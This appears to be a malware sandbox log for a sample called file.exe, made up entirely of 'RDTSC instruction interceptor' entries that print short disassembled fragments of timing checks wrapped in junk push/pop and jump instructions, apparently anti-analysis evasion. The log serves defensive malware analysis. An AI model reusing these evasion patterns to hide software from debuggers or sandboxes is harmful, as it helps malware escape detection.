Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431D88 second address: 1431DA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F7E0935AD68h 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 pop eax 0x00000015 jnc 00007F7E0935AD56h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432193 second address: 14321B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F7E090B9419h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14324D7 second address: 14324DC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433083 second address: 14330AD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7E090B9406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7E090B9410h 0x0000000f popad 0x00000010 push ecx 0x00000011 pushad 0x00000012 jmp 00007F7E090B940Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14338DF second address: 14338F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14338F8 second address: 14338FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14338FE second address: 1433937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F7E0935AD62h 0x0000000b popad 0x0000000c pushad 0x0000000d jns 00007F7E0935AD56h 0x00000013 jmp 00007F7E0935AD61h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433937 second address: 1433941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7E090B9406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433941 second address: 1433956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F7E0935AD56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007F7E0935AD56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433956 second address: 1433975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E090B9418h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143934F second address: 143935A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C215 second address: 143C219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C219 second address: 143C233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7E0935AD60h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C233 second address: 143C249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E090B9412h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C249 second address: 143C255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C255 second address: 143C25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C25E second address: 143C264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C264 second address: 143C26A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C26A second address: 143C26E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C644 second address: 143C650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C650 second address: 143C670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD66h 0x00000007 jns 00007F7E0935AD56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C670 second address: 143C676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C676 second address: 143C67A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C67A second address: 143C69B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F7E090B9427h 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F7E090B9406h 0x00000016 jmp 00007F7E090B940Bh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C69B second address: 143C6A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CBF9 second address: 143CC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 ja 00007F7E090B9406h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CC07 second address: 143CC25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD64h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CC25 second address: 143CC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c ja 00007F7E090B9421h 0x00000012 pushad 0x00000013 je 00007F7E090B9406h 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393062 second address: 1393068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393068 second address: 139306C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139306C second address: 1393070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393070 second address: 1393076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393076 second address: 139307C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139307C second address: 1393080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393080 second address: 1393084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393084 second address: 13930AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F7E090B942Eh 0x00000010 push ebx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7E090B9414h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445D32 second address: 1445D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445D36 second address: 1445D4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F7E090B9406h 0x00000009 jmp 00007F7E090B940Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1446266 second address: 144629A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jo 00007F7E0935AD56h 0x0000000e popad 0x0000000f jmp 00007F7E0935AD66h 0x00000014 pushad 0x00000015 jl 00007F7E0935AD56h 0x0000001b jno 00007F7E0935AD56h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144729A second address: 14472B3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F7E090B9406h 0x00000009 pop edi 0x0000000a js 00007F7E090B9408h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14472B3 second address: 14472D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E0935AD67h 0x00000009 pop eax 0x0000000a jnp 00007F7E0935AD58h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144BC6A second address: 144BC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144BC6E second address: 144BCB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c js 00007F7E0935AD56h 0x00000012 jmp 00007F7E0935AD5Fh 0x00000017 popad 0x00000018 push esi 0x00000019 jmp 00007F7E0935AD65h 0x0000001e jnc 00007F7E0935AD56h 0x00000024 pop esi 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E8D6 second address: 144E8FF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7E090B9406h 0x00000008 je 00007F7E090B9406h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jns 00007F7E090B9408h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jl 00007F7E090B940Eh 0x0000001f pushad 0x00000020 popad 0x00000021 je 00007F7E090B9406h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E8FF second address: 144E906 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E906 second address: 144E90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144EBC5 second address: 144EBCB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14652DF second address: 14652F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E090B9411h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1468306 second address: 1468315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7E0935AD56h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1468315 second address: 146831B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146831B second address: 146831F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146831F second address: 1468331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E090B940Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146FAF8 second address: 146FAFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146FAFC second address: 146FB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7E090B9419h 0x0000000b jo 00007F7E090B940Ch 0x00000011 jnc 00007F7E090B9406h 0x00000017 popad 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7E090B9416h 0x00000020 jmp 00007F7E090B9412h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475189 second address: 14751D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Eh 0x00000007 jmp 00007F7E0935AD68h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F7E0935AD6Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14751D7 second address: 14751DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14751DB second address: 14751EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7E0935AD5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14751EC second address: 14751FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F7E090B9406h 0x00000009 jno 00007F7E090B9406h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14751FF second address: 1475207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BADD second address: 147BAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BAE3 second address: 147BAE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BCAE second address: 147BCB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BCB2 second address: 147BCC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F7E0935AD56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BCC2 second address: 147BCC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BCC6 second address: 147BCEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F7E0935AD65h 0x0000000e jo 00007F7E0935AD56h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BCEE second address: 147BCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BE52 second address: 147BE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BF97 second address: 147BFA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F7E090B9406h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C135 second address: 147C13F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7E0935AD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14805CB second address: 14805CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14805CF second address: 14805F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F7E0935AD67h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007F7E0935AD5Fh 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1490BF6 second address: 1490C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F7E090B9406h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1492260 second address: 1492271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7E0935AD5Ah 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A297C second address: 14A2986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B71F0 second address: 14B7205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7E0935AD56h 0x0000000a pop edi 0x0000000b push ebx 0x0000000c jo 00007F7E0935AD56h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7205 second address: 14B720C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B749C second address: 14B74A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B74A0 second address: 14B74A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B74A6 second address: 14B74B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7E0935AD56h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B77BA second address: 14B77D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007F7E090B9406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F7E090B9406h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B77D0 second address: 14B77D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7A9E second address: 14B7AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7E090B940Eh 0x00000009 jmp 00007F7E090B9416h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7AC7 second address: 14B7ACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7ACF second address: 14B7AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7AD3 second address: 14B7ADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7ADE second address: 14B7AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F7E090B9406h 0x00000010 jg 00007F7E090B9406h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7AF4 second address: 14B7B04 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7E0935AD56h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7B04 second address: 14B7B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7E090B9406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7B0E second address: 14B7B21 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7E0935AD56h 0x00000008 jnp 00007F7E0935AD56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7C5D second address: 14B7C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F7E090B940Fh 0x00000011 jmp 00007F7E090B940Bh 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 pop edx 0x0000001a pushad 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e pushad 0x0000001f popad 0x00000020 ja 00007F7E090B9406h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7E09 second address: 14B7E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7E0935AD56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7E14 second address: 14B7E55 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F7E090B9414h 0x00000008 jmp 00007F7E090B940Ah 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7E090B9414h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7FCD second address: 14B7FF9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7E0935AD56h 0x00000008 jmp 00007F7E0935AD64h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jnp 00007F7E0935AD56h 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
